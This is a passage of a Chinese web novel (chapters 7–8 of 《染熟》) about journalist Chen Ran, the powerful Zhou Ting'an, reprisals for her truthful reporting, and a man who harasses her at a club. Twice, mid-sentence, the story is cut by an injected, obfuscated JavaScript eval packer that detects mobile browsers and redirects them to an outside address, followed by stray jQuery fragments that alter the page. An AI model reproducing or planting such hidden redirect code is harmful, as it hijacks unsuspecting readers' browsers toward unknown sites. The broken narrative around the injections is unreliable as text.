《染熟》
7. 素斋
“我请周先生。”
约什么会啊,陈染想,吃饭吃到半路人走了,干什么都不如干脆搞事业来的现实。
陈染转而两边看了一圈,有点不好意思的冲里边周庭安笑笑说:“就是,您也知道,我迷路了,还得您带着我过去这里的餐厅才行。”
话刚落音,一女生花了脸上精致的妆从对面调笑推牌声不断的包厢里推门跑了出来。
陈染听到动静,及时的转过身往后退着撤了一步,方才没同人撞上。
女生年纪不大,在陈染面前虽然一闪而过,但她还是认了出来,是美院那边的一位学妹。
陈染之所以印象深刻,是因为去年还在实习阶段时候,过去她们学校做过一期校园文化节的采访。
当时她做的接待和导向,挺可爱的姑娘,陈染看着那道跑走的身影想了想,终于有了记忆,她叫庄亦瑶。
对面屋子里随即跟着传出几声调侃:
“把人闹哭了吧?回去你就哄吧!”
“没事,钟公子可会哄人了。”
“怎么哄?”
“多睡几觉就好了呗。”
接着是几声笑。
“是不是不喜欢这里?”
周庭安的声音蓦然就出现在她身后头顶。
陈染陷在看到刚刚的学妹那里没有回过来神。
意识到之后,方才察觉她刚刚退到了周庭安休息室里面,他此刻就立在她身后,几乎挨着的位置。
她后脑勺擦着他的西装前襟衣料。
淡淡陌生又有几丝熟悉的檀香木质衣料味几乎将她整个萦绕禁锢。
陈染心头猛然跳动,斜向后看过去一眼,立马向一旁挪开脚,同他拉开了距离。
“走了,我们换个地儿。”周庭安垂眸看了她一眼,再一次在她脸上看到了有点慌乱的样子,微扯动了下唇角,错身而过,走到了前面。
陈染愣了一下神,转而跟上他的脚步。
-
周庭安寻的地方说冷清也不算冷清,立在窗前,近处是密麻上山如蝼蚁般的众生,放眼远处,则几乎可以俯瞰北城的全景。
陈染看了眼身侧有点年岁的木质桌牌上篆刻的一行小字:【明镜本清净,何处染尘埃】
这样的位置,大概整个看台上也只会有这么一处了。
刚坐下没几分钟,随着就进来一位服务生,问周庭安道:“周先生想吃些什么?”
周庭安胳膊支在那,托腮靠在椅子里,看过服务生直接说道:“上你们的素斋。”
“好。”
服务生离开,周庭安转而同对面坐着的陈染解释说:“他们这里没有菜单,都是素食,但是味道挺好。你等下尝尝看,不喜欢了,咱们再让他们另做。”
“周先生客气了,我都行的。”陈染将手里拎的包放在了旁边的柜面上,单单留出了手机在桌面。
她口口声声说要来请他客,但是此刻,却是有了点被喧宾夺主的意味。
可毕竟这里也的确是他才会常来的地界。
陈染压根不熟,只能笑笑说:“我说我请客,结果劳烦的却是您,接下来的工作都要不好开展了。”
口气客气又官方。
周庭安视线从她过于干涩的唇上移开,随手给彼此倒了一杯茶水,端了其中一杯送到陈染面前,说:“一顿饭而已,陈记者何必这么计较。”
陈染的确渴了,绕了这么一圈口干舌燥,端起他递过来的茶水,一口气抿着喝了好几口。
期间偷偷撩起眼皮飞快的扫过对面坐着的周庭安一眼,心里想着刚刚他说的话,明明是他要人表诚意。
她真表了,结果他现在又这么一番说辞。
真的是很难猜的一个人。
周庭安看上去的确温润和善,但隐隐的压迫和强势感,陈染同人接触的越多,也越能感触颇深。
其实想想也可以理解,就地位而言,他手底下所管理的办事的人就数不胜数,有手腕和气魄,也很正常。
陈染不知道,她偷看的那一眼,被对面坐着的周庭安余光里瞧了个正着,嘴角隐出点笑,转而选择抬眼正大光明的盯着她看。
陈染被他看的不自在,手摸了摸脸,想着是不是有什么脏东西。
周庭安瞧她动作彻底笑开,说:“我记得我之前说过,陈记者很漂亮。”
他低沉声音混着山底下隐隐传进来的几分人语嘈杂,还有突然而至的几声钟鸣。
是拜祭会仪式正式开始了。
“我以为相貌皮囊这些外在的,在周先生这样的人眼里,应该算不上什么特别长处。”
“为什么这样说?”
“因为想在您身边冒头的人那么多,费尽心思,各种努力,千方百计。第一件事,定然就是自身得体的样貌,甚至可以说会特意投您所好。所以您见的多了,视觉记忆就会麻木。”
陈染说着点了点自己眼睛的位置示意给周庭安看,一张嘴此刻透出些职业里的专业出来,跟人对起话来,振振有词的。
周庭安眼睛一瞬不眨的看着她,将一番说辞一字不漏的认真听完。
“那陈小姐,是那些人里面的一个么?”
这话问的,颇为难答。
“有点可惜,周先生,我们毕竟还没有达成合作。所以这个问题,我可能暂时还无法回答您。”言外之意,我谈不上是你身边的人,这个问题,不管答案是或不是,都还不是现在能下定结论的。
周庭安嘴角随着陈染的回答,看着她,一点一点扯开一个弧度,说:“但是如果我说,就算没合作,你也已经成为我眼中的风景了呢?”
陈染理解为一种不失冠冕堂皇的客套语。
“谢您慧眼,但谁都不及周先生,单单名字放在那,就是一幅无数人想企及的峰顶水墨图。”
周庭安哼笑了声,接着敛起眉眼,看着问她:“原来陈记者不止长得漂亮,还这么会夸人,还有么?”
“......什么?”
“夸我的话。”
“......没、没了。”
陈染迎着他的视线,敛着的眼眸深潭一般,莫名的头皮渐渐发紧起来。
接着眼睫微动,视线躲开,直接禁了声。
刚好服务生敲了敲门,推着餐车过来开始布菜,两人话题也就此打住。
菜肴很精致,每一份都只有几口的量。
陈染刚刚几乎没怎么吃,迷路来回转了几圈,加上早餐没吃,饿是真的饿了。
只觉得这种量这种盘子,私下没人,她能一口气吃个十几盘。
“没事,不够我们再添。”周庭安说。
然后冲她面前那份看上去白如鳕鱼肉的菜说,“可以先尝尝那个。”
陈染拿起筷子,吃了一口,甚至觉得这所谓的素斋比鱼肉口感都鲜。
“嗯,挺好吃的,这是什么食材做的?”
“山药。”
“那这个翠色的佛手是不是黄瓜之类的蔬菜做的?”陈染又指了指山药挨着的那一盘。
“那是糯米饭,只不过淋了蔬菜汁。”
一问一答,陈染点了点头。
一顿饭吃的很安逸。
饭毕,沈承言给陈染打来了电话,陈染拿过手机同周庭安礼貌点了点头起身过去包厢里边的盥洗区接电话。
刚刚吃饭因为拿着吃了一块糕点,手有点黏腻,陈染拧开水龙头一边接电话一边洗手。
“染染,饭吃了吗?我这里很快忙完,等下过来接你,我们去看电影。”沈承言说。
陈染洗完,单手过去旁边的纸巾盒抽纸巾,但是卡的太紧,她抽了几下都没抽出来。
正弄着视线里伸过来一只男性的手,那只手骨节修长,指甲圆润干净,手背青筋明显。
是走过来的周庭安,他伸手帮她抽过一张纸巾,递过去,一并问:“陈记者不是说很想了解我办公的地方么?”
陈染抬眼看过他一眼,哦了声,然后接过他手里的纸巾先同电话里的沈承言说:“别了,你只管忙吧,我这边刚好也有点工作。”
“我听到你旁边有人说话,是去单位了吗?你领导?”沈承言见过陈染的一些同事,但是刚刚男性的声音他并不能确定。
“不是,我回去再跟你说,先这样。”陈染挂了电话。转而再看过门口,周庭安已经没在这边了。
陈染给沈承言发了一条信息过去,接着将手里已经握成一团的纸巾丢进垃圾桶,方才走了出去。
周庭安正抱臂立在窗台旁往下边看。
察觉到陈染过来,偏脸看过去然后往桌上点了点下巴,自己也一并过去拉过椅子重新坐了下来,说:“刚上的鸽子汤,尝尝。吃完带你去个会感兴趣的地方。”
陈染其实已经吃了不少,看到鸽子汤想起一件事,不免看过周庭安问:“不是说都是素斋么?”
“这是又另做的,毕竟我们又不是斋戒的僧侣,五感声色,凡俗之欲,吃饭也总要有荤才行。”
周庭安说完视线先在她脸上停留了片刻,之后落在陈染放在桌面的手机上,看人有点走神,不着痕迹随口似的问:“男朋友?”
音色清淡没有起伏,也没有温度。
陈染跟着他视线过去,说:“是。”
“他对你好么?”周庭安给自己盘子里夹了一筷子菜。
陈染“嗯”了声,不想跟外人继续这种太过私密的话题,只说:“周先生放心,工作要紧。”
之后两人没再说什么话。
一直到结束。
-
虽然说他安排的地方,但是临末尾刚好服务生过来送清口茶,陈染借口出去洗手间离席跟上了那服务生过去悄悄结账。
说了请他,涉及工作的事情,起码得言而有信。
但是找到地方要付账的时候却被告知已经直接从卡里边扣过了。
至于是谁的卡,可想而知。
陈染回到包厢,走到门口时候,周庭安已经起身正掸衣袖。
陈染不免扯着职业化的笑对周庭安客气的说:“周先生,是您说想看诚意的,结果又不给机会,反倒您来请我客,岂不是——”
公私混淆。
说不清了。
周庭安鼻息轻出,笑了下,将外套拎在了手腕上,随即步至陈染跟前,视线缓缓瞥过,落在她身上,将人团团萦绕,淡声问:“岂不是什么?”
“会说不清。”因为周庭安的走近,陈染只能抬眼看他。轻盈睫毛因为刚刚走动的急切,染着一层湿雾。
“那就先欠着我。”
周庭安说完旁边电梯门打开,助理柴齐从里边走出来,凑到周庭安跟侧低声说:“周先生,松业的佟总等了有些时间了。”
周庭安嗯了声,转而看过旁边正翻看手机的陈染:“走吧,陈记者。”
“你要是有别的约,我就不去了吧周先生,”陈染说,“可以改约个时间,不能打扰您忙公事。”
“我们之间不是公事么?”陈庭安不由得反问,嘴角若有似无的挂着一丝笑。
远处再次传来几声钟鸣,拜祭会活动结束。
陈染被他的话追问的心头一紧,他压迫感实在太强了,陈染采访过那么多人,还从来没有像现在这样怯过场。
她舔了舔唇,试图让自己镇定下来,不能总这样被牵着鼻子走。
可这次还没等她说些什么,就听到周庭安紧接着轻着声音又说:“陈染,走了。”
这次,他直接喊的她名字。
陈染闻言倏然抬眼,对上他的视线。
周庭安嘴角浮着笑,没给她回绝自己的机会,收回视线,将手里拎着的外套递给旁边助理,吩咐:“把车开过后院。”
-
陈染坐上了周庭安去往山下的车。
走的专用通道。
而上山来的时候,她是一个台阶一个台阶走上来的。
花费了起码多半个小时。
所谓的众生平等,不过听听就好,明明佛缘也分高低贵贱。
一路上,陈染内心一直回旋着那句【是公事】,但总觉得哪里不对劲。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647017|188188||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到最后,她归结为或许就是自己怯场的原因。
陈染,你的专业呢?
她不禁扪心自问。
周庭安就坐在旁边,余光里是陈染绞缠在一起的葱白手指。
然后看到她应该是手机来了信息,掏出来看,简短的两行话,一行是遗憾没法看电影了,另一行是叮嘱她忙完就早点回去,注意安全。
信息标头的昵称很长,写着:专属陈染的承言。
沈承言。
她的男朋友。
周庭安移开视线。
“陈记者日常工作一般是负责哪些?”
陈染闻言看过一眼身侧的周庭安,他没看她,两腿交叠靠在那,视线平直放着。
“之前负责一些街头采风,文案文章撰写,民俗探访之类的琐碎工作,然后今年三月份接手了财经专栏。就是我现在主要负责的栏目,除此以外也会配合一些台里的应急节目,还有现场活动之类的工作。”陈染说到这里,不免开始尝试一些自我推销,毕竟想要人配合,总要有亮点和所长,“您也知道我们是财经频道,所以财经专栏一直是我们主推的栏目。”
“是么?”周庭安嘴角淡扯,看过陈染,像是能一眼看透她。
陈染微点头,抿平唇笑笑。
“其实跟我不用说这么多,我一直相信陈记者的专业。”
“谢谢。”因为他的认可,陈染口中的感谢是发自内心的。
车子一路向东,穿过闹市,进入中央CBD区域,途径恒瑞集团大厦,在一众高楼林立里拐进了一处别院。
寸土寸金的地方,这么一处别院显得尤为奢侈。
大门口站着守卫,院子里零落停着一些车。
原本立在大厅里的一位工作人员,见到车子过来远远的就迎了过来,陈染随着周庭安后脚下车后,就看到那工作人员到周庭安跟前说了句什么。
说是什么人在等他过去,更具体的陈染也没听清。
周庭安听完来人汇报,转而视线落在了陈染这里,然后吩咐人说:“弄些茶点水果到我办公室,先带这位陈小姐过去歇歇脚。”
“好,”工作人员忙走到陈染面前,伸手往里请:“陈小姐您随我来。”
于是陈染被请进了周庭安的办公室。
他的办公室很大,整体简洁,一眼明了。深棕色的办公桌椅,黑白灰的搭配。
过去沙发会客的区域往里,相隔着一道门,里边空间具体是做什么用的就未可知了。
陈染坐在沙发上,面前是工作人员端过来的茶水和水果甜点。
招待很礼貌不假,但是陈染觉得礼貌的有点过分了,像是唯恐对她招待不周一样,看上去有点紧张。
事无巨细的问陈染有没有特别想吃的,陈染说没有,让他们忙别的就好,不用管她。
刚同周庭安一起吃了饭,她也是真的没有那么大的胃口。
可是原本陈染以为周庭安会很快过来,但是她无聊的在旁边杂志栏里一连翻看了好几本杂志,又看了会手机处理了点工作上的信息,甚至之后真的又有了想吃东西的念头,将桌上放置的果盘里水果吃了不少。
最后等的想打瞌睡了,眼睛涩涩的,抬手看了看手表,已经是过去了三个多小时。
陈染靠进沙发里果断闭上眼,深出口气,十分怀疑,周庭安是不是把她忘在他办公室里了。
陈染觉得这么等着不行,但是抬脚直接走更是不行。
犹豫了下拿过包站起身过去门边准备拉开门,门却是先她一步被推开,陈染下意识往后退了几步,抬眼看过来人,喊了声:“周先生?”
“让陈记者久等了。”周庭安看过她一眼,抬脚迈进办公室,一并抬手松解了紧在衬衣领口最上面的那粒扣子。
陈染客气的笑笑,违心说:“没有,还好。”内心却是暗暗了句,的确是有够久的。
周庭安一路走向他宽大办公桌旁,拉过旁边抽屉,从里边拿出来一枚打火机,然后看过立在不远处的陈染说:“陈记者看见了,这就是我办公的地方,不知道和你以为的,有没有什么偏差?”
陈染抿了抿唇,刚进来这里那会儿已经打量了一番,再次看过一圈,点了点头,没有正面回应,却是很认真评价说:“很中规中矩,也很符合您的身份。眼光。”
“我什么眼光?”
“......大气,广阔,就是——很有高度的意思。”陈染仔细斟酌用词。
“据我所知的一些记者朋友,大多会先关心一下被采访者的心情或者聊一些有趣的事情。”周庭安也清楚的记得那天她采访周镇,就是这样开场的。
该怎么说呢,其实那天陈染是没话找话,而且周庭安也没有正式的说明要接受她的约访工作。
“是,您说的情况有,因为在正式采访后,我们就会开始有一个系统的安排,包括采访内容,还有一些问题,类似您说的那种问题,我们都可以商量着进行。也不是说一定是一成不变。”
周庭安点点头,接着从办公桌旁离开,直直的走到陈染跟前,一步两步,直到陈染觉得他走的似乎有点太近了,抬眼飞速的看了他一眼,心头不免慌乱一瞬,双脚不由自主的往后退了下,将距离重新拉开一点,心也跟着狂跳,虚着音喊他:“周先生——”
周庭安垂眸,见陈染往后退,就没再靠近,视线就落在她头顶,嘴角淡扯出一个不太明显的弧度问:“很好奇陈记者谈恋爱的时候会是什么样?”
陈染闻言耳根一热,倏然抬眼看他。
只听周庭安看着她很是温煦似的笑了下,紧接着又说:“该不会也是这么一板一眼的吧?”
陈染睫毛微动,周庭安这间办公室有面落地窗几乎占满了整堵墙,下午几乎快要过尽的时间,窗帘半边没拉,残阳余晖照进来,他背对着光线立在那,半边脸照不到,隐在黑暗里。
而他此刻给人的感觉也像是他身上的光线,一边照到的,温柔和煦,他未曝于光下的那半面,困锁逼人。
仿佛他想要的,想知道的,就一定要寻求个答案。
8. 浮沉香
不知周庭安眼睛看人是不是都会看的这么深,陈染承不住,移开视线没再跟他对视。
周庭安视线依旧搁在她那,她不出声,就很是耐心的又问了句:“不知陈记者能否满足一下我的好奇心?”
明明他的办公室足够宽敞,人也没有疾言厉语,谈话气氛很平和,可留给陈染的空间和空气像是不足一样,让她有点局促不安。
陈染握了握紧手里的包带,最终礼貌的开口回他,说:“工作是工作,生活是生活,周先生。”
“那陈记者还真是循规蹈矩。”周庭安依旧温和的看着她说。
室内浮涌着淡淡安神的熏染沉香,陈染却是有些呆不住了,想走。
“周先生,我看您今天忙的也挺累,关于采访的事情可以考虑一下,如果您觉得合适,我们就再联系。”
周庭安闻言嘴角扯动,“都到地方了,我刚过来你就走,忙活半天,你就不怕前功尽弃?”
陈染不由得又往后挪了下脚。
周庭安彻底笑开,看人默不作声,体贴的将紧绷氛围瞬时给主动赶散,说:“紧张什么,就按陈记者说的办,我们之后再联系。不过,总要约定个时间吧?”
“一周,一周时间,您看行吗?可以的话,希望您能给个答复。”陈染静默半天,终于开了口,抬眼看过他一眼,接着又很快移开。
看都不敢看他了。
“行,就依你。”周庭安挪开脚,撤离身往办公桌边走过。
摁通桌上放着的内线电话到秘书室:“送陈记者回去。”
“不用麻烦了周先生,我自己出去打车就行。”
陈染话音落,周庭安再看过去,就只是看到了她拉开门走出去后剩余的一截裙角,接着那截裙角随着一声带上门的动静也跟着彻底在他视野里消失没了影。
-
陈染下楼打了个的士,一路回到住处先跑进了洗手间拧开水龙头捧了些凉水冲了一把脸。
清凉过面,顿时让她混沌的大脑清楚了几分。舒服不少。
吕依下班回来看着从卫生间里出来的陈染皱了皱眉,觉得人脸色不大对劲儿,问:“你怎么了?”
“没事,”陈染随口应到,“天太热了。”
“你不开空调肯定热啊。”吕依拿过遥控器,滴的一声,将空调打开。
当晚,沈承言又给陈染打了一通电话,说他这边工作接洽的已经差不多,孟城那边的人员在催着他回去处理事情,还说他已经买了明天的机票回程,原本想着还能一起看电影的计划泡汤,两天后是七夕节,他特意准备了礼物,陈染去单位就能看见。
最后他沉默了一瞬,说:“染染,我们这样分隔两地挺不好的。其实,我还是想你能考虑一下我之前的提议,孟城也有不少当地的媒体渠道,你的资质过来肯定有一席之地。不过如果你实在不愿意,也没事,那我就努努力,争取项目在北城发展的多一些。”
陈染垂眸应了声嗯,让他注意劳逸结合,最后道了晚安。
-
周一过去台里,陈染前脚还没跨进办公室,就看到过路其他部门的工作人员对她指指点点的。
“肯定就是她,那件事不是她当初去做的采访么?”
“对对对,我记得。带了个摄像一起去的。”
有不知情的凑过去问:“怎么了,你们说什么呢?”
“新闻采访部被一波人冲进来给砸了!”
“我去!那应元正怕不是要发大威,要吃人。”
“这可是北城,敢冲进来财经电视台打砸的,”说话员工啧啧啧摇头,接着说:“肯定背景深,不好惹,这是踢到铁板上了。”
说完不免又看了一眼陈染。
陈染推门进去办公区,入眼一片狼藉。
地面上到处都是撒落的文件和档案。
办公室的同事也都因为这件事受到了牵连,工位上都搞得乱七八糟,没头绪的在收拾。
一个个看到陈染进来,虽然嘴上不说,但脸垮的难看至极,心里已然将她骂了几百遍。
“那些人是走了吗?”一办公区实习小妹一边蹲在那拣资料,一边问身边带她的组长朱婉。
“走了,不过人家说,这只是开始给点颜色,若是之后没看到声明道歉,事情就没这么简单了。”
那组长一张脸阴沉沉的在收拾自己的桌子,说完转眼看到走进来的陈染后丢下手里资料,拉过她到一边问:“五月份时候那次酒吧事情的社会新闻,是不是你过去采访的?”
陈染嗯了声,知道朱组长对她是关心。因为她从学校毕业刚过来那会儿,就是在她手底下实习。
也一直是她口中的骄傲。
“好好想想当时具体什么情况,现场都有什么人,怎么会闹这么大?”朱婉说着深出口气,给陈染敲警钟:“曹济那边肯定不会护着你。”
“我知道,婉姐,谢谢你。”
朱婉拍了下她肩膀转而忙自己的事情去了。
纵然提供不上实质性的帮助,但是在一众看她热闹或者因为被连累而恼怒的声音里,能流露出这么一点善意和提点,陈染已经很是感激。
不远处靠窗而坐的咸蔓菁耳朵边夹着手机,跟人正通着电话,通话间打开手包,掏出一支口红和化妆镜,给自己补妆。
眼皮子底下的一片狼藉像是没看见,只管整理好自己,准备出去。
弄好后,就接着电话像是没看见陈染一样,错身过去,走出了办公区。
“陈记者出了这种事,咸蔓菁这下是真没对手了,说不准接下来那财经专栏都会直接让她接手。”
“反正,道歉声明出还是不出,结果都不会好。”
旁边人正讨论着,曹济推开了自己办公室的门,冲着陈染方向喊了声:“陈染,进来!”
原本的嘈杂音停滞顿时安静下来,整理七零八落办公区东西的同事,偶有几个抬头看过陈染方向一眼。
陈染将手里拎的包先过去放到了自己的工位上,之后进了曹济的办公室。
曹济的办公室也没有幸免于难,窗台上他精心呵护的盆栽碎了不少。
看见推门进来的陈染,将打印好的一份资料拍到桌面给她说:“这是我们之间的工作合同,另一份是空白面的道歉声明模版,你看一下合同内容,以你个人名义,记住,道歉声明是以你个人名义,发你一些个人的公众账号上,微博什么的之类,不要牵扯单位。”
【以你个人名义】曹济着重强调了两遍。
然后看过没有动静的陈染,说:“快去吧,抓紧点时间,还有就是财经专栏先让咸蔓菁接手,你闲一段时间,等这件事风头过去了再说。”
“您都不想了解一下当时事情的原委吗?”陈染此刻倒是平静异常,似乎已经预料到结果。
“去采访的又不是我,我怎么知道原委?”曹济说着摆摆手,让陈染拿上资料赶紧出去,“你也不用跟我说,我也不想知道。如果你想在台里待下去,就赶快把声明发了。”
“我发了,然后如您所愿做实是我自己的问题后,那我待下去还有什么意义?”毁去她的行业名声,并且还要她自己来动手,明明她只是如实播报而已。
陈染知道私下一些老员工会说曹济这个人向来利益最重,是个势利眼,但是最起码的职业底线都没有,是她没有料到的。
“那是你自己的问题,跟我没关系好吧,你跟我说有什么用?”曹济烦躁挂在脸上,再次摆手让陈染回去,说:“这样,东区就政府大楼旁边的文化厅有个展,展厅领导联系问能不能做一期文化宣传,具体怎么个事我也不清楚,你这段时间呢,就去那边,了解了解情况,看能不能写点东西出来。”
明显发配的语气,陈染又怎么会听不出来,像这种工作,正常情况下是分配给实习生来做的。
曹济说完干脆将桌上放着的那份陈染入职时候签的合同条款还有那份空白声明冲她递了过去到手边,“还有这个声明,别忘了。”
陈染咬住一点唇边肉,将他送到手边的资料接过,然后拿着转身出了门。
接着走到自己的办公桌跟前,将凌乱不堪的场面简单收拾了一下,被砸碎的水杯,残破的花束。
然后压在最下面的,是一个破了的盒子,里边的手链被抖落了出来半截,上面卡片上写着一行字:染染,我爱你。
是沈承言的笔迹。
陈染将他送的手链连同盒子从下边小心的拿出,拍了拍上面的尘灰,然后拉开旁边没有遭殃的抽屉,放了进去。
-
RTS国际电子金融峰会在北城召开,会议结束,行政楼对面大厦的休息室里一行人吃完饭,在此落脚闲聊。
周庭安立在落地窗前,正抽着一支闷烟,听里边那些个侃天侃地,原本没有焦点的视野里,在看到对面文化厅门口走出来的一个小身板时,渐渐有了焦距,一并微微眯起了眼。
助理柴齐从旁边一扇门走进来,凑过周庭安跟前欲言又止的说:“周先生......”
“怎么了?说话吞吞吐吐的。”他将手里那支剩余半截的烟掐灭进了旁边的烟灰缸。
“您父亲越洋电话您应该没看见,然后打到我这边了,说小衍那边出了点事,他暂时还回不来。”
其实柴齐比谁都清楚,不是周庭安没看见电话,而是父子两人就差把彼此拉黑了。
周庭安像是没听到他说了什么,视线还在斜对面文化厅大门口那停着,抬了抬手问柴齐:“那里是有什么活动吗?”
柴齐啊了声,跟着看过去,哦了声,说:“好像是什么展出。”
周庭安点了点头,约定一周的时间如今已经是第五天,那天她走那么急,周庭安其实有猜想是吓到她了。
但是他不主动联系,她就连一点表示都没有,做为一个记者,她那么敬业,多少是有点出乎意料。
以周庭安看人的眼光,她就算不想了,倒也不至于将关系生硬成这样。
“周先生,那英国的电话——”柴齐小心的提醒了句。
“他不是信佛吗?你跟他说,让他老人家,有事拜菩萨。”
周庭安说话间转身两步走过旁边的沙发,拎起西服外套塔过手腕,往出口处走了。
“......”
-
吕依回到住处的时候,看到陈染正坐在客厅沙发那,探着身向下,给自己揉脚腕。
“你这几天早出晚归的,忙什么呢?”吕依将手里拎的包挂到一边。
陈染揉过脚转而靠身在了沙发上,只说:“接了个新任务,距离公寓有点远。”
她在文化展厅里前后跑了两天,那负责人自认读书多,一连否了她好几篇稿,挺难伺候的。
“你也歇歇吧,别整天只知道工作工作的,让工作先死一边好么?晚上一起去个地方?”吕依说着冲她眨了眨眼,接着打开手机给合作方的朋友发了条信息过去。
陈染心里装着事儿,的确需要个舒缓口,从沙发上起身,进去卧室换衣服,“你说的对,让他们统统都先死一边去吧。”
“......”吕依不由得挑挑眉,因为没想到陈染会这么大的反应。
猜想着会不会是男朋友走了,没人陪,没人哄着开心解闷,想念爆发,雌激素就开始分泌不平衡了。
接着走到陈染身后拍了拍她的肩提醒了句:“你穿女人味儿一点,我穿男人味儿一点。咱俩扮一对儿。”
陈染手里原本拎着一条裤子,有点疑惑的看过吕依,“什么意思?”
“朋友生日会,他对我有意思,我跟他说我是拉拉,想让他死了那条心。”吕依说完转身一边脱衣服一边回了自己屋。
“......”陈染无语看过去一眼,但毕竟一起去玩么,还是要照顾一下对方的感受,于是放下了手中拎的裤子,选了一条束腰的蓝色连衣裙。
并且如吕依所愿,这件裙子后腰位置设计镂空,是她衣柜里为数不多的一件,带了性感心机的裙子。
还是一次和沈承言一起逛街的时候买的,他拿着非让她试穿一下,于是就试了试,然后他就给她买下了。
陈染当时并不想要,说不太好有场合穿,沈承言说没事,让她只用穿给他看就好。
结果之后他去了孟城,这条裙子也被放进衣柜里没再拿出来过。
吕依穿着一身中性西装套
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16647018|188188||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
装,过来看见陈染的时候,两眼放光的睁大了眼,然后煞有介事的摸着下巴很是满意的点了点头,“不错,能给我长脸。”
窗外起了风,没有关严的窗户被刮的吱吱晃动。
陈染还在整理身上衣服,吕依就进到里边帮她将窗户给关上了。
折回身,路过她写字台,要去照镜子的时候顿住了脚,伸手捻过陈染桌上东西,细看着诶了一声,“这包装盒真精巧,装什么的?”
陈染闻言看过去一眼,还没看清拿的是什么,这边吕依已经放了回去。
照镜子去了。
她原本以为只是个普通的包装盒,想着跟陈染讨了。
细看发现其实并不普通,就没张那个口。
“什么啊?”陈染走近,这才知道,是周庭安用来给她装耳钉的那个。
篆刻的【安】字在上面,尤其显眼。
是不是需要还给他?
可是,在他眼中或许也只是一个普通的包装盒。
可以随手丢掉的那种。
特意还,会让人觉得刻意吧?
“我这西装好看么?”吕依问陈染。
陈染回过神,没再执着去想这件事,拎过包,拉过在镜子面前还在照镜子的吕依:“别照了,很帅,走吧!”
“很帅就对了,”吕依沾沾自喜,“要的就是这种效果。”
两人下楼打车坐车,陈染实在有点不理解的上下看了她一眼说:“这种事,你直接拒绝他不就行了,编这种话干什么?”
“你不懂,他这个人比较偏执,我怕拒绝不了,所以想了这么个办法故意让他觉得恶心。”吕依笑笑,具体怎么个情况没再多说,陈染了解到些许隐情也就没再问。
出租车停下,陈染跟着吕依一起下车,抬眼看过店头,Half Club,是一串英文的店名。
吕依朋友那边已经到了不少人,地方订在外区的卡座,还没走近,就听到有人已经在起哄让主角唱歌。
陈染单纯过来凑个热闹,蹭顿饭吃。加上都是吕依工作方面的朋友,她也不熟。
所以只是保持了礼貌微笑。
有人见吕依她们过来,给让座说:“吕依,这里,专门给你留着呢。”
位置刚好挨着今天的主角,看来她这位追求者,追的还是挺明显的。
“没事,我们两个人呢,坐这边就行。”吕依拉着陈染一起,坐在了对面较远的位置。
隔着中间一行人,追求吕依的那位合作伙伴耿祁,也就是今天生日会的主角,看过去吕依笑说:“你今天打扮还挺特别。”
吕依抬手拎了拎衬衣领口,嗯了声不太自在的清理了下嗓子,说:“我私下其实就是这样的。”说完拿过桌上放着的一杯果汁,端到了陈染跟前,说:“你胃不好,喝这个。”
“......”
陈染想着,她想怎么说就怎么说吧,她这会儿也懒得计较。
拿过吕依给的果汁就着吸管喝了两口,甜腻腻,挺好喝倒是真的。
一杯果汁下肚,陈染心安理得的接受着吕依的投喂。
中途他们说笑打扑克消遣做游戏,她过去上洗手间。
然后出来的时候,迎面碰上一个眼熟的。
刚从旁边一包间里晃着走出来,里边隐隐还能听见有女孩子的啜泣声。
“哟,这不是陈记者么,怎么,这就不认识我了?”男人一脸横肉,笑着跟着颤,关上包间门,目光阴翳的看着陈染问:“听你们领导意思,你这道歉声明不愿意发,看不出来,”说话间男人从上到下打量过陈染,“骨头还挺硬呢。”
“曾先生,相信那天晚上的事,您心里应该很清楚。”
事件是陈染过去采访酒吧打架的事情。
酒吧里一群学生闹事打架,影响很不好,酒吧老板报了警,将所有的错归结到了那群学生身上。
但是其实陈染看见的是,带头男学生他女朋友在里边做端茶水工作时受了欺负,被人占了便宜。
过去救人被阻拦。
女孩在一边哭,当时陈染过去了,女孩拉了拉陈染衣袖,无助的说:“姐姐,你信我吗?我没有勾引他,也没有想闹事,我们是,真的没办法了。”
周边充斥着围观者的只言片语,到底是怎么一回事,很容易分辨。
而当时就是面前的这位曾先生,口气强硬的要陈染报道是女生勾引,道德败坏。
但是报道出来后,陈染如实陈述,并没有如他所愿。
她不想身为一个记者,明明知道缘由,却为虎作伥去毁掉一个年轻女孩的学业前途和名声。
况且能说出“女人就是耗材”这样话的男人,绝然不会是个什么好东西。
陈染只是没预想到之后的连带事情,这位曾先生家里老婆和长辈对他发了难。
最后就是仗势过去砸了陈染办公的地方,并让她发声明道歉,给他自己洗白。
“我清楚什么?”男人又上下看一眼陈染,看过她腰间露出的一截白皙,哼声笑了下,向前逼过陈染说:“我看你跟那女的一样,也是个骚货。穿成这样,过来勾引男人呢吧?”
陈染心跟着猛然一提,旁边就是出口,眼见这姓曾的紧逼,手伸过来就要拉她,脚退着转身就出了门。
跑了一截路方才停下脚,背靠过墙边喘气,然后探头往后看那姓曾的跟出来没。
正气喘吁吁的往回看着,头顶一道陌生又熟悉的声音响起,“怎么了,吓成这样?”
陈染蓦然转身,对上了周庭安。
不由平缓了下呼吸,跟人招呼:“周、周先生,好巧。”
周庭安往她腰间瞥了瞬,随即脱下西装递给她,往她腰间示意,让她围上。
陈染起先不明所以,接着在摸到腰间那排镂空设计后明白了是怎么一回事。
本就镂空,而如今不知何时被刮破,丝线断裂开成了更大的口子。
